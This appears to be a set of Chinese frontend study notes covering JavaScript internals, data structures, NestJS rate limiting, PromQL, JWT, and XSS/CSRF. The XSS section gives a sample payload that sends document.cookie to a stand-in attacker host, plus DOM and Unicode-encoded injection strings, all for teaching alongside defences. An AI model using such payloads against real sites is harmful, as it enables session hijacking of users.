  6. 根据入口文件和它的依赖,输出多个包含多个模块的 chunk ,可以根据 AST 生成最终的代码,期间也可能经过一些 Plugin 处理
  7. 根据配置的路径输出最终生成的文件到文件系统

最后生成的 js 是怎么实现引用其他模块以及异步模块的,参照 #32

参考

JavaScript 内存模型

变量声明与赋值

当我们在 JavaScript 中声明一个原始值,例如

let myNumber = 123

JS 会做以下事情:

  1. 创建一个标识符 myNumber
  2. 在内存中分配一个地址,标识符指向这个地址
  3. 把赋值的 123 存入分配的地址

这时候,我们口头上会说 “myNumber 等于 123” ,但实际上, myNumber 是指向了一个地址,而地址存的值是 123

当我们重新给 myNumber 赋值时:

myNumber = 456

原来的 123 并没有消失或改变,而是重新分配了一个地址,把 myNumber 指向新的地址,并把 456 存入新地址的值。

内存模型

JavaScript 的内存模型可以理解为,存在两个区域: 调用栈

其中, 调用栈 中存着原始值的值与函数; 中存储引用类型的值。

那么引用类型的值是怎么存储的?

当我们声明一个数组:

const arr = []

发生了什么:

  1. 创建一个标识符 arr
  2. 调用栈 中分配一个地址,标识符指向这个地址
  3. 中分配一个地址,把地址存入步骤 2 中创建的地址对应的值中
  4. 将值 [] 存入 中步骤 3 分配的地址的值中

letconst

我们都知道, letconst 的区别是, let 允许开发者重新给变量赋值,而 const 反之。

实际上,这个行为限制的是能否修改标识符所指向的内存地址,例如:

const myNumber = 123
myNumber = 456 // TypeError: Assignment to constant variable.

const arr = []
arr.push(1)
arr[1] = 2
console.log(arr) // [1, 2]
arr = [3, 4] // TypeError: Assignment to constant variable.

在上述例子中可以看到,对于原始值标识符 myNumber 的重新赋值报错了,这是符合预期的。
但对于引用类型 arr ,可以修改值 [] 而不报错,但整个数组重新赋值,一样会报错。

这是因为,当我们修改 [] 的时候,我们修改的是 里面的值,而 调用栈 中, arr 标识符指向的地址没有被修改,因此不会报错;当我们重新赋值 arr 时, 调用栈 里面会重新分配地址, arr 标识符指向的地址改变了,因此报错。

参考

JavaScript’s Memory Model - Medium

JavaScript 实现 debounce 和 throttle

防抖(debounce)

概念

当调用一个函数时,先等待一段时间再调用,如果在等待期间又调用了这个函数,则重置等待的时间,以控制函数调用频率。

应用

例如输入框搜索建议。当用户输入内容的时候,触发函数去请求后台给用户提供建议,如果用户一个单词都没输入完,每个字母都去发起请求,就很没必要。这时可加入防抖,例如防抖 300ms ,用户输入内容时,如果 300ms 内没有再输入,则发起一次请求。

实现

function debounce (f, wait) {
  let timer = null
  return function (...args) {
    clearTimeout(timer)
    timer = setTimeout(() => {
      f.call(this, ...args)
    }, wait)
  }
}

节流(throttle)

概念

对于一个函数的频繁调用,在一定时间内只调用一次。

应用

例如监听 scroll 事件实现懒加载,如果用户疯狂拖动滚动条却不拖到底下,绑定的处理函数就会疯狂被调用,这时候我们可以降低函数被调用的频率,不管用户怎么拖动,在一定时间(例如 300ms)内,都只会调用一次处理函数。

实现

function throttle (f, wait) {
  let last = 0
  return function (...args) {
    const now = Date.now()
    if (now - last > wait) {
      f.call(this, ...args)
      last = now
    }
  }
}

使用 setTimeout

function throttle (f, wait) {
  let timer = null
  return function (...args) {
    if (timer === null) {
      timer = setTimeout(() => {
        f.call(this, ...args)
        timer = null
      }, wait)
    }
  }
}

上述两种写法不同的是,setTimeout 是在 wait 时间的末尾才执行的第一次调用,且参数是第一次调用的参数;而第一种写法一开始就会调用一次。

如果 setTimeout 写法要执行最新一次的调用,即参数是最新的而不是第一次的,那需要在每次调用的时候更新 args ,否则 f.call(this, ...args) 中的 args 一直不会被更新:

function throttle (f, wait) {
  let timer = null
  let latestArgs = []
  return function (...args) {
    latestArgs = args
    if (timer === null) {
      timer = setTimeout(() => {
        f.call(this, ...latestArgs)
        timer = null
      }, wait)
    }
  }
}

拓展

以上写法已经达到了限制函数调用频率的目的,如果需要跟 lodash 这类库函数一样完善,还需要加上几个配置来决定是要在 wait 的开头还是末尾调用,同时提供清除等待等方法,这边就不再赘述,可自行去查阅源码。

JavaScript 实现 instanceof 运算符

定义

检测构造函数的 prototype 属性是否出现在某个实例对象的原型链上。

实现

  1. 先判断构造函数是否合法
  2. 在实例的原型链上查找是否有等于 F.prototype 的原型
function _instanceof (instance, constructor) {
  if (typeof constructor !== 'function') {
    throw new TypeError(`Right-hand side of 'instanceof' is not callable`)
  }
  const isPrimitive = (value) => value == null || (typeof value !== 'object' && typeof value !== 'function')
  const constructorPrototype = constructor.prototype
  let prototype = instance
  while (!isPrimitive(prototype)) {
    prototype = Object.getPrototypeOf(prototype)
    if (prototype === constructorPrototype) return true
  }
  return false
}

ES6 Set 和 Map

Set

定义

不重复值的集合, NaN 在 Set 中是相等的

应用

  1. 去重
[...new Set(array)]

// 或者

Array.from(new Set(array))
  1. 求并集、交集、差集
const a = new Set([1, 2, 3])
const b = new Set([4, 3, 2])

// 并集
const union = new Set([...a, ...b])

// 交集
const intersection = new Set([...a].filter((x) => b.has(x)))

// 差集
const difference = new Set([...a].filter((x) => !b.has(x)))

WeakSet

定义

与 Set 类似, 是不重复值的集合,区别是:

  1. 值只能是对象
  2. 内容是弱引用,内部的对象如果没有被引用,则会被垃圾回收

WeakSet 没有 size 属性,不可遍历

Map

定义

键值对的集合,与对象的区别是,对象只能用字符串作为 key , Map 可以用各种类型的值作为 key 。

内存地址相同的引用类型才视为同一个 key

-0, +0 视为相同 key

NaN 视为相同

构造函数可接受键值对数组或可遍历对象

const map = new Map([
  ['name', '张三'],
  ['title', 'Author']
])

const set = new Set([
  ['foo', 1],
  ['bar', 2]
])
const m1 = new Map(set)

遍历

  • keys()
  • values()
  • entries()
  • forEach()

遍历顺序为插入顺序

转换

  1. Map 转数组
const map = new Map()
map.set(true, 1)
map.set({a: 1}, [666])

[...map]
// [ [ true, 1 ], [ {a: 1}, [666] ] ]
  1. 数组转 Map

即把数组传入 Map 构造函数中,为上述例子的反例

  1. Map 转对象

如果 key 都是字符串,可遍历将 map 转为对象

  1. 对象转 Map

遍历对象,将键值插入 map 中

  1. Map 转 JSON

如果 key 都是字符串,则先转对象,再 JSON.stringify

如果 key 里面有非字符串,则先转数组,再 JSON.stringify

  1. JSON 转 Map

第 5 点的逆操作

WeakMap

类似 Map ,弱引用,没有 size 属性,不可遍历

参考

http://es6.ruanyifeng.com/#docs/set-map

NestJS 限流代码分析

背景

有关限流的知识可以参考 5 种限流算法,7 种限流方式,挡住突发流量?

代码地址

https://github.com/nestjs/throttler/blob/v3.0.0/src/throttler.guard.ts#L77

核心代码应该是这行开始了, Guard 中的 handleRequest

https://github.com/nestjs/throttler/blob/v3.0.0/src/throttler.service.ts#L17

以及 ThrottlerStorageService addRecord 方法

代码分析

ThrottlerGuard

const ttls = await this.storageService.getRecord(key);
const nearestExpiryTime = ttls.length > 0 ? Math.ceil((ttls[0] - Date.now()) / 1000) : 0;

// Throw an error when the user reached their limit.
if (ttls.length >= limit) {
  res.header('Retry-After', nearestExpiryTime);
  this.throwThrottlingException(context);
}

ttls.length 大于等于 limit (ttl 中允许的请求数量,如果 ttl 是 1秒 ,则 limit 就是 QPS 的意思),则会被限流。

那么, ttls 里面存放的东西就很关键

ThrottlerStorageService

深入 ThrottlerStorageService addRecord 方法,可以看到 ttls 数组存的是什么

const ttlMilliseconds = ttl * 1000;
if (!this.storage[key]) {
  this.storage[key] = [];
}

this.storage[key].push(Date.now() + ttlMilliseconds);

从代码中可以看出, ttls 存的是请求过期的时间点

也就是说,当一个请求过来,会往 ttls 数组中 push 一个时间点,代表到这个时间点之后,允许多放行一个新的请求。

还有多久可以放行请求

知道了 ttls 存放的是时间点,那么假设一位用户被限流了,他想知道多久后才会解除限流,就可以从 ttls 数组中得到这个信息,只需要取数组的第一项,减去现在的时间。

const nearestExpiryTime = ttls.length > 0 ? Math.ceil((ttls[0] - Date.now()) / 1000) : 0;

优缺点

NestJS 自带限流其实就是采用滑动日志的方式。

优点

优点就是限流比较精确,可以防止流量突刺

缺点

缺点也很明显,比较占用内存,假设 ttl 为 1 ,限制 QPS 为 1000 , ttls 最大就会有 1000 个元素

addRecord 中, ttls 数组是通过 setTimeout 的方式去清理的,那么 ttls 有多少个元素,就会有多少个 setTimeout 在排队

优化

本来是想着把 setTimeout 给优化掉,但是好像意义并不大,因为这种限流算法本来就是一种用空间妥协换取限流精确度的做法。

CSS BFC

概念

块格式化上下文(Block Formatting Context,BFC) 是Web页面的可视化CSS渲染的一部分,是块盒子的布局过程发生的区域,也是浮动元素与其他元素交互的区域。

创建 BFC 的条件

满足以下条件之一即可:

  • 根元素(html)
  • float 不是 none
  • 绝对定位元素(position 为 absolute 或 fixed)
  • overflow 值不为 visible 的块元素
  • display 为 inline-block, table 相关, flow-root 的元素
  • contain 值为 layout, content, paint 的元素
  • 弹性元素(display 为 flex, inline-flex 的元素的直接子元素)
  • 网格元素(display 为 grid, inline-grid 的元素的直接子元素)
  • 多列容器(元素的 column-count 或 column-width 不为 auto)
  • column-span 为 all

特性

BFC元素特性表现原则就是,内部子元素再怎么翻江倒海,翻云覆雨都不会影响外部的元素。

应用

防止外边距塌陷

同一个 BFC 下的元素会产生外边距塌陷,只要元素属于不同的 BFC 就能防止塌陷:

<div>
  <div style="width: 100px; height: 100px; border: 1px solid red; margin-bottom: 10px;"></div>
  <div style="width: 100px; height: 100px; border: 1px solid red; margin-top: 10px;"></div>
</div>

image

把其中一个 div 放入新创建的 BFC 中:

<div>
  <div style="overflow: hidden;">
    <div style="width: 100px; height: 100px; border: 1px solid red; margin-bottom: 10px;"></div>
  </div>
  <div style="width: 100px; height: 100px; border: 1px solid red; margin-top: 10px;"></div>
</div>

image

清除浮动

根据 BFC 的特性, BFC 的高度是把内部浮动的元素也计算进去的,因此本来内部元素浮动导致高度塌陷的问题,就可以用创建 BFC 的方式解决:

<div style="border: 1px solid blue;">
  <div style="width: 100px; height: 100px; border: 1px solid red; float: left;"></div style="width: 100px; height: 100px; border: 1px solid red; margin-top: 10px;">
</div>

image

让容器成为一个 BFC :

<div style="border: 1px solid blue; display: flow-root;">
  <div style="width: 100px; height: 100px; border: 1px solid red; float: left;"></div style="width: 100px; height: 100px; border: 1px solid red; margin-top: 10px;">
</div>

image

实现两栏布局

<div style="overflow: hidden; border: 1px solid red;">
  <div style="float: left; margin-right: 10px; width: 100px; height: 100px; border: 1px solid green;">
    侧边栏
  </div>
  <div style="height: 100px; overflow: hidden; border: 1px solid blue;">
    main
  </div>
</div>

image

参考

二叉树的最大深度

问题

LeetCode 104

给定一个二叉树,找出其最大深度。
二叉树的深度为根节点到最远叶子节点的最长路径上的节点数。
说明: 叶子节点是指没有子节点的节点。
示例:
给定二叉树 [3,9,20,null,null,15,7],

    3
   / \
  9  20
    /  \
   15   7

返回它的最大深度 3 。

递归

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number}
 */
var maxDepth = function(root) {
    return root === null ? 0 : Math.max(maxDepth(root.left), maxDepth(root.right)) + 1
};

非递归

DFS 同时记录当前节点深度

/**
 * Definition for a binary tree node.
 * function TreeNode(val) {
 *     this.val = val;
 *     this.left = this.right = null;
 * }
 */
/**
 * @param {TreeNode} root
 * @return {number}
 */
var maxDepth = function(root) {
    if (!root) return 0
    const stack = [[root, 1]]
    let depth = 0
    while (stack.length) {
        const info = stack.pop()
        const node = info[0]
        const currentDepth = info[1]
        if (node) {
            depth = Math.max(currentDepth, depth)
            stack.push([node.right, currentDepth + 1])
            stack.push([node.left, currentDepth + 1])
        }
    }
    return depth
};

ES6 Symbol

新的原始类型 Symbol

ES6 引入了一种新的原始数据类型 Symbol

目前有 7 种原始类型, 1 种引用类型

原始类型:

  • Boolean
  • Null
  • Undefined
  • Number
  • BigInt
  • String
  • Symbol

引用类型 Object

Symbol 特性

  1. Symbol 值通过 Symbol 函数生成,不能使用 new 命令
  2. Symbol 值是唯一的,可作为对象的唯一属性
  3. Symbol 接受一个字符串作为参数,作为 Symbol 实例的描述,用于区别
  4. 如果传入的不是字符串,则会转为字符串,如果是对象,会调用 toString 方法
  5. 作为对象 key 时,不会被 for...in, for...of, Object.keys(), Object.getOwnPropertyNames(), JSON.stringify() 遍历到或返回。

类型转换

  1. 可以显示转换为字符串,但不能与其他类型进行运算
let sym = Symbol()

const str = `some str with ${sym}` // TypeError: Cannot convert a Symbol value to a string

String(sym) // 'Symbol()'
sym.toString() // 'Symbol()'
  1. 可以转换为布尔值,但不能转换为数值
let sym = Symbol()

Boolean(sym) // true
Number(sym) // TypeError
sym + 2 // TypeError

参数值

如果传给 Symbol 的参数是一样的,生成的 Symbol 并不是同一个 Symbol :

Symbol('abc') === Symbol('abc') // false

传入的参数是作为 Symbol 的一个描述。

如果要获取这个描述,有两种方法:

  1. 把 Symbol 显示转换为字符串: Symbol('abc').toString() // 'Symbol(abc)'
  2. ES2019 提供的实例属性 Symbol('abc').description // 'abc'

应用

作为对象唯一键值

使用 Symbol 作为 key 可保证不出现同名属性,导致对象属性被覆盖。

作为常量

用于定义一组常量,例如:

const logLevel = {
  DEBUG: Symbol('debug'),
  INFO: Symbol('info'),
  WARN: Symbol('warn'),
}

在上述常量中,我们其实并不关心 logLevel.DEBUG 具体是什么值,只需要保证其唯一就行,因此可以用 Symbol 来保证其中的属性值都不相等。有点类似 TypeScript 中的枚举 enum ,在编写代码时,我们不关心 enum 里面具体的值是什么,在运行时会自动编译成 1, 2, 3 这些在枚举中唯一的值。

定义非私有,但希望只用于内部的方法

Symbol 值作为对象 key ,不会被常规方法遍历到,除非用 Object.getOwnPropertySymbols 这类方法,因此可以用 Symbol 来定义一些一定程度上私有的内部方法:

let size = Symbol('size');

class Collection {
  constructor() {
    this[size] = 0;
  }

  add(item) {
    this[this[size]] = item;
    this[size]++;
  }

  static sizeOf(instance) {
    return instance[size];
  }
}

let x = new Collection();
Collection.sizeOf(x) // 0

x.add('foo');
Collection.sizeOf(x) // 1

Object.keys(x) // ['0']
Object.getOwnPropertyNames(x) // ['0']
Object.getOwnPropertySymbols(x) // [Symbol(size)]

Symbol.for() 与 Symbol.keyFor()

Symbol.for() 接受一个字符串参数,返回在全局环境中已经注册的 Symbol ,如果没有找到,则新建一个 Symbol

Symbol('abc') === Symbol('abc') // false

Symbol.for('def') === Symbol.for('def') // true

{
  let s = Symbol('sss')
  s === Symbol.for('sss') // false
}

Symbol.keyFor() 返回一个已登记的 Symbol 类型的 key ,与 Symbol.description 类似

let s1 = Symbol.for("foo");
Symbol.keyFor(s1) // "foo"

let s2 = Symbol("foo");
Symbol.keyFor(s2) // undefined

Symbol.for() 这个方法是在全局登记的,因此可以跨 iframe 或 service worker 取到同一个 Symbol 值。

Symbol 相关的内容太多,这边不再列了。

参考

http://es6.ruanyifeng.com/#docs/symbol

二叉堆的概念与实现

概念

本质上是完全二叉树

分为两种类型

  1. 最大堆:父节点的值大于或等于子节点
  2. 最小堆:父节点的值小于或等于子节点

特性

堆内部能实现自我调整,对于二叉堆有以下操作:

  1. 构建二叉堆
  2. 插入节点
  3. 删除节点

插入节点

当插入一个节点到二叉堆中,首先将节点插入到二叉堆的末尾,然后进行“上浮”操作
从末尾节点开始,与其父节点进行比较,以最小堆为例,如果插入的节点小于父节点,则与父节点的位置进行交换,重复该步骤,直到节点到达合适的位置,即大于或等于其父节点

删除节点

当要从二叉堆中删除节点,将堆顶(即二叉树根节点)元素删除,然后将末尾的元素移动到堆顶
这时堆顶元素的位置不一定是正确的,需要做一个“下沉”操作
从堆顶元素开始,与其左右子节点进行比较,如果当前节点比左右子节点大,则与最小的子节点进行交换,直到节点到达合适的位置,即节点小于或等于其左右子节点

构建二叉堆

初始化二叉堆,可以看成是把一个无序的二叉堆调整为有序的二叉堆的过程,只需要对于所有非子节点进行“下沉”操作,即可生成一个有序的二叉堆

数据结构

二叉堆的存储结构不用链表,而是可以直接用一个数组来存储。
其中,第一个元素即为堆顶
对于节点 n 来说,
其左子节点的索引为 2 * n + 1
右子节点索引为 2 * n + 2
父节点索引为 Math.floor((n - 1) / 2)

二叉堆的最后一个非叶子节点的索引为 Math.floor((length - 2) / 2)

实现

/** 最小堆 */
class BinaryHeap {
  private heap: number[] = []

  constructor (elements: number[]) {
    this.heap = elements
    // 构建二叉堆,对每个非叶子节点进行“下沉”操作
    for (let i = Math.floor((this.heap.length - 2) / 2); i >= 0; i--) {
      this.down(i)
    }
  }

  /** 插入 */
  insert (value: number) {
    this.heap.push(value)
    this.up()
  }

  /** 删除 */
  delete () {
    this.heap.shift()
    const last = this.heap.pop()
    if (last != null) {
      this.heap.unshift(last)
      this.down()
    }
  }

  /** 上浮 */
  up () {
    let n = this.heap.length - 1
    if (n <= 0) return
    const target = this.heap[n]
    let parentIndex = Math.floor((n - 1) / 2)
    // 如果父节点大于子节点,则将父节点复制到子节点的位置,当前父节点的位置可以复制为上浮节点的值,但是还需要继续往上寻找目标位置,所以可以先不用赋值,等循环结束后再在目标位置赋值为上浮的节点;然后继续往上寻找,直到不符合条件,即找到了上浮节点的目标位置
    while (parentIndex > 0 && this.heap[parentIndex] > target) {
      this.heap[n] = this.heap[parentIndex]
      n = parentIndex
      parentIndex = Math.floor((n - 1) / 2)
    }
    this.heap[n] = target
  }

  /** 下沉 */
  down (n: number = 0) {
    const target = this.heap[n]
    let parentIndex = n
    let leftChildIndex = 2 * n + 1
    const length = this.heap.length
    while (leftChildIndex < length) {
      // 这里定义最小的子节点,可以直接用 leftChildIndex ,为了方便阅读,多定义一个变量
      let minChildIndex = leftChildIndex
      const rightChildIndex = leftChildIndex + 1
      if (rightChildIndex < length && this.heap[rightChildIndex] < this.heap[leftChildIndex]) {
        minChildIndex = rightChildIndex
      }
      // 如果最小的子节点都大于待下沉的节点,说明下沉节点已经到达目标位置
      if (this.heap[minChildIndex] >= target) break
      // 否则将最小子节点的值复制到它的父节点上,下沉节点的值最后循环退出后再复制到目标位置
      this.heap[parentIndex] = this.heap[minChildIndex]
      parentIndex = minChildIndex
      leftChildIndex = 2 * parentIndex + 1
    }
    this.heap[parentIndex] = target
  }
}

参考

漫画:什么是二叉堆?

JavaScript 实现 new 操作符

new 操作都做了什么

以下复述一遍 MDN 中的解释:

  1. 创建一个新的对象
  2. 将创建的对象的原型指向构造函数的原型(instance.__proto__ = F.prototype
  3. 将新对象作为 this 执行一遍构造函数
  4. 如果构造函数有返回对象,则返回,否则返回新创建的对象

最简单的实现

根据以上定义,得到一个最简单的实现:

function _new (F, ...args) {
  const obj = Object.create(F.prototype)
  const ret = F.apply(obj, args)
  return typeof ret === 'object' ? ret : obj
}

不足

以上最简单的实现有几个方面没有考虑:

  1. 未判断 F 是否满足构造函数,即是否可以 new
  2. 返回值光靠 typeof ret === 'object' 是不够的
  3. new.target 需要赋值

改进

判断 F 是否满足构造函数

function isConstructor (f) {
  if (f === Symbol) return false
  try {
    Reflect.construct(String, [], f)
  } catch (e) {
    return false
  }
  return true
}

判断返回值

因为 typeof null === 'object' // truetypeof (function () {}) === 'function' // true
所以要对这两种类型另外判断:

function isESObject (returnValue) {
  return (typeof returnValue === 'object' && typeof returnValue !== null) || typeof returnValue === 'function'
}

new.target 处理


以上改进内容参照 francecil/leetcode#11 ,有关 new.target 的内容可到此链接查看

PromQL rate range 15s 无数据问题

背景

本地搭的一套 Prometheus ,scrape_interval 设置为 15s
查询以下语句时,发现查不出数据

sum by (url) (rate(http_requests_total_c{url="/"}[15s]))

但是在另一套 Grafana 上查询时,使用 15s 是可以查到数据的

原因

本以为是 Grafana 的问题,于是本地也搭了一套 Grafana ,但是查询的结果是一样的

后来想到另一套系统使用的是 VictoriaMetrics

Grafana 社区中也查到了十分清楚的解释,感谢这位老哥

image

rate 在 Prometheus 中的限制

以上社区问答中,指明了在 Prometheus 中, rate range 至少需要是 scrape_interval 的两倍

而在另一篇文章中,说明通常 range 会是 scrape_interval 的四倍,以应对无数据、数据缺失等情况

PromQL 如何处理 rate

在以往的印象中, rate 就是取 range 区间内的前后两个数据点相减,再除以 range ,然而实际上不是这样的(一直没仔细看文档导致的错误印象)。

PromQL 计算 rate 确实会取头尾两个点,不过并不是直接取数据点,而是会先进行一个 推断(extrapolation) 的过程,例如:

我们要计算 00:05 这个时间点, range 为 5m 的数据,而实际的头尾数据点,并不一定准确落在 00:00 和 00:05 两个时间点上,假设头尾数据点是落在 00:01 和 00:04 两个时间点,这时候, PromQL 会把这两个点连线,得到一个二元一次方程,从而推断出 00:00 与 00:05 时间点的数据。注意,推断出的数据并不是真实的。

这篇文章中的图片所展示:

image

这个逻辑会有以下两个问题:

  1. 当 range 范围内只有一个数据点时无法计算 rate ,因为 PromQL 只取 range 范围内的数据点。这就是我遇到的 range 调为 15s 无数据的原因,也是网上建议 range 至少是 2倍 ,最好 4倍 scrape_interval 的原因。
  2. 由于 increaserate 一样有推断的逻辑,所以 increase 的结果可能会有小数,即使我们一般是对 Counter 类型(一般单调递增,数据点是整数)应用 increase 函数。

VictoriaMetrics MetricsQL 与 PromQL 对 rate 处理的区别

那么 VictoriaMetrics 使用的 MetricsQL 是如何解决上述两个问题的?

  1. 首先, MetricsQL 会把当前计算 range ($__interval) 的前一个 range 中,最后一个数据点考虑在内,当 range 范围内只有一个数据点时,会自动增加 range 的范围,解决 PromQL 中 range = scrape_interval 无数据的问题。
  2. 其次, MetricsQL 对 rateincrease 抛弃了推断逻辑,解决 increase 处理 Counter 出现的小数问题。

VictoriaMetrics 保留前一个 range 的数据点
image

示例

本地 Docker 启动 Prometheus 与 VictoriaMetrics ,配置 Prometheus remote_write 写到 VictoriaMetrics 中,配合 Grafana 对比二者折线图差异

scrape_interval 为 15s

语句为

sum by (url) (rate(http_requests_total_c{url="/"}[$range]))

range 1m
image

range 15s
image

参考

JWT 概念

什么是 JWT

JWT (JSON Web Token) 是一个公开的标准(RFC 7519),其定义了一种紧凑且独立的方式,使双方可以用 JSON 格式安全地传输信息。使用数字签名使得传输的信息可以被校验和信任。JWT 可以使用一个 secret 签名(HMAC 算法),也可以使用公钥秘钥进行签名(RSA,ECDSA 等)。

JWT 的用途

JWT 通常用于以下几个场景:

  • 授权校验(Authorization):当用户登录后,收到服务端签发的 JWT ,在后续请求中都带上这个 token ,以获得权限访问服务端的资源等。由于 JWT 的体积小,易于跨域名使用,其也被广泛应用于单点登录(SSO)的场景中。
  • 信息交换(Information Exchange):由于 JWT 是经过签名的,可以确保发送者的身份。除此之外,签名是由 header 与 payload 计算出来的,你也可以校验接收到的 JWT 是否被篡改。

JWT 的结构是什么样的

压缩过的 JWT 由三个部分组成,以 . 连接:

  • Header
  • Payload
  • Signature

因此 JWT 看起来会像是如下结构:

xxxxx.yyyyy.zzzzz

逐个拆解一下

Header

Header 部分一般包含两个字段

  • typ:token 类型,JWT
  • alg:签名所使用的算法,例如 HMAC SHA256 或 RSA 等

示例:

{
  "alg": "HS256",
  "typ": "JWT"
}

将这串 JSON 经过 Base64 编码后,就得到了 Header 部分

Payload

Payload 部分是一些声明,一般包含对一个实体(例如用户)的描述与一些额外的信息。

声明有三种:

  • registered
  • public
  • private

Registered claims

这部分声明是预定义的,在标准中推荐有但不强制。提供一系列有用的、用于信息交换的声明。

包括以下字段:

  • iss (Issuer) 表明是谁签发了这个 JWT
  • sub (Subject) 表明了 JWT 签发的对象,区分不同的用户(参考与 aud 的区别
  • aud (Audience) 表明用户拿到签发的 JWT 后,会把该 JWT 用于哪个接收者
  • exp (Expiration Time) 过期时间
  • nbf (Not Before) 在这个时间之前 JWT 不生效
  • iat (Issued At) 签发时间
  • jti (JWT ID)

(claims 字段都只有三个字母,是为了保持紧凑)

Public claims

这部分声明可以按使用者的意愿来定义,但是需要避免与其他字段的冲突,因此,这部分字段应该在 IANA JSON Web Token Registry 中有定义,或者应被定义为一个带有不冲突命名空间的 URI 。

Private claims

这部分自定义的声明应是使用 JWT 的双方约定好的字段,并且不能是 registered 或者 public 中的声明。

Payload 示例:

{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true
}

将 Payload 部分经过 Base64 编码后,组成 JWT 的第二部分

注意:JWT 虽然可以防止篡改,但是其内容是对任何人可见的,不要将任何未加密的私密信息放入 JWT 中。

Signature

将编码过的 Header, Payload 和一个 secret ,经过 Header 中指定的算法进行签名,即可得到 Signature 部分

例如,如果使用 HMAC SHA256 算法,签名将这样生成:

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

签名用于验证信息在传输途中没有被篡改,并且如果是使用私钥进行签发,还可以验证签发者的身份。

将三段内容组合

把三段 Base64 编码过的内容组合起来,并用 . 连接,即可得到一串 JWT 。

JWT 工作原理

  1. 当用户登录后,服务端签发一个 JWT 给客户端
  2. 用户在后续请求中,将 JWT 随请求附上
  3. 服务端验证请求中的 JWT ,验证通过后正常返回资源,否则提示未授权

一个简易的时序图:

image

客户端一般会将 JWT 附在 Authorization Header 中,使用 Bearer 模式,例如:

Authorization: Bearer <token>

使用这种方式传输 JWT ,可以跨域使用,因为不是使用 Cookie 。

JWT 特点

  • 轻量、易传输
  • 可非对称加密
  • JSON 格式对大部分编程语言友好

Reference

XSS 与 CSRF

XSS(Cross Site Scripting)

概念

跨站脚本攻击。恶意攻击者往页面里插入恶意脚本代码,当用户浏览该页面时,嵌入的恶意代码会被执行,从而达到攻击用户的目的。

分类

1. Reflected XSS(基于反射的 XSS)

该类型主要利用系统反馈行为漏洞,欺骗用户主动触发,从而发起攻击。

例如,在某网站 URL 上有 keyword 参数,表示搜索的关键字,例如:

http://www.example.com/search?keyword=xxx

表示 xxx 作为关键字搜索,打开后会将这串字符显示在页面某个位置上

如果没有做防护,那么我们就可以在 keyword 后面插入一些恶意代码,如:

http://www.example.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

接下来引导用户去点击这个链接,用户打开后,就会执行 <script>document.location='http://xss.com/get?cookie='+document.cookie</script> ,把自己本地的 cookie 发送到 http://xss.com/ 上,攻击者获取到 cookie ,就可以模拟用户去做一些操作,达到攻击目的。

2. Stored XSS(基于存储的 XSS)

与反射不同的是,基于存储的 XSS 里,具有攻击性的脚本被保存到了服务器中,普通用户从服务器获取恶意脚本并执行,以此获得在网络上传播的能力。

例如某个博客网站的博文或者评论区中,没有做防护,攻击者可以随意使用 script 标签,假设攻击者在评论中写入了恶意脚本:

好文,i了
<script>
// 这里做一些攻击操作
alert('XSS')
</script>

这段评论在发表后会被保存到服务器中,普通用户浏览到这个评论时,就会弹出弹窗。

3. DOM-based or local XSS(基于 DOM 或本地 XSS)

这类 XSS 是一种特殊的反射类型,反射类型利用的是业务上的逻辑,而 DOM 则是利用了浏览器提供的 DOM 接口。

例如,有个让用户输入链接的场景:

<input id="input">
<button id="button">Submit</button>
<div id="div"></div>

<script>
document.getElementById('button').addEventListener('click', () => {
  document.getElementById('div').innerHTML = `<a href=${document.getElementById('input').value}>Link</a>`
})
</script>

当用户在 input 中输入了文本,并点击了 button ,则会把用户输入的内容作为一个 a 标签的 href ,并显示在 div 上。

如果用户输入的是:

'' onclick=alert(/XSS/)

这样,不仅 href 不会被赋值,还会加上 onclick 去执行恶意代码。

一些 XSS 方式

  1. 利用输入框注入
  2. 利用上传图片注入,例如在 src 中写入 javascript:alert('xss') (IE6、7)
  3. 利用 img src ,同上
  4. 利用上传图片的 ref 或 title 属性
  5. 利用图片 exif 信息
  6. 提前闭合标签注入
  7. Unicode ,例如 $('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e'); ,decode 后是 <script> alert("xss")</script>

XSS 防范

  1. HTTPOnly 防止劫取 Cookie

浏览器将禁止 JavaScript 访问带有 HttpOnly 的 Cookie

  1. 输入检查

不相信用户的任何输入。对于用户的输入要进行检查、过滤和转义。建立可信字符与 HTML 标签白名单,对不在名单的字符或标签进行编码或过滤。

在一些框架中,会自带标签转义。

  1. 输出检查

服务端的输出也可能存在问题,在变量输出到页面时,也可以用编码或转义的方式来防御 XSS

CSRF(Cross Site Request Forgery)

概念

跨站请求伪造。是一种劫持受信任用户向服务器发送非预期请求的攻击方式。

通常情况下, CSRF 攻击是借助受害者 Cookie 骗取服务器信任,以受害者名义发送请求给服务器。

原理

  1. 用户正常登录并浏览网站 A ,产生 Cookie
  2. 用户在没有登出网站 A 的情况下访问危险网站 B
  3. 网站 B 页面向第三方站点网站 A 发起请求,发出一个 Request ,例如直接跳转到网站 A 的某个 URL
  4. 网站 A 不知道请求的来源,由于浏览器会自动带上 Cookie ,网站 A 会将请求当成正常请求处理

防范

  1. 验证 HTTP Referer 头部字段

优点:简单,对请求统一拦截检查 Referer 值即可。

缺点:

  • Referer 值可能被伪造
  • 用户可以设置浏览器不提供 Referer ,网站可能拒绝合法用户
  1. 验证码

验证码要求用户必须进行交互才能完成请求,能有效对抗 CSRF 攻击,但会影响体验。

  1. 添加 token 验证

在请求中放入黑客不能伪造的信息,并不存在于 Cookie 中,可以加入一个随机生成的 token 交给服务器验证。

优点: 比 Referer 检查安全,不涉及用户隐私
缺点: 对所有请求都添加 token 比较困难,难以保证 token 本身安全

参考

函数柯里化

概念

函数式编程中的概念,一个函数经过柯里化处理后,可以接受任意数量的参数,如果参数数量不足,则会返回一个新的函数,这个新的函数也是一个柯里化的函数,可以接收剩余的参数;如果参数数量足够,则执行原来的函数。

例子

const add = curry((a, b) => a + b)
add(1)(2) // 3
add(1) // function

实现

const curry = (fn, array = []) => {
  const len = fn.length - array.length
  return (...args) => {
    if (args.length < len) {
      return curry(fn, array.concat(args))
    } else {
      return fn.apply(this, array.concat(args))
    }
  }
}

浏览器缓存机制

思维导图

深入理解浏览器的缓存机制

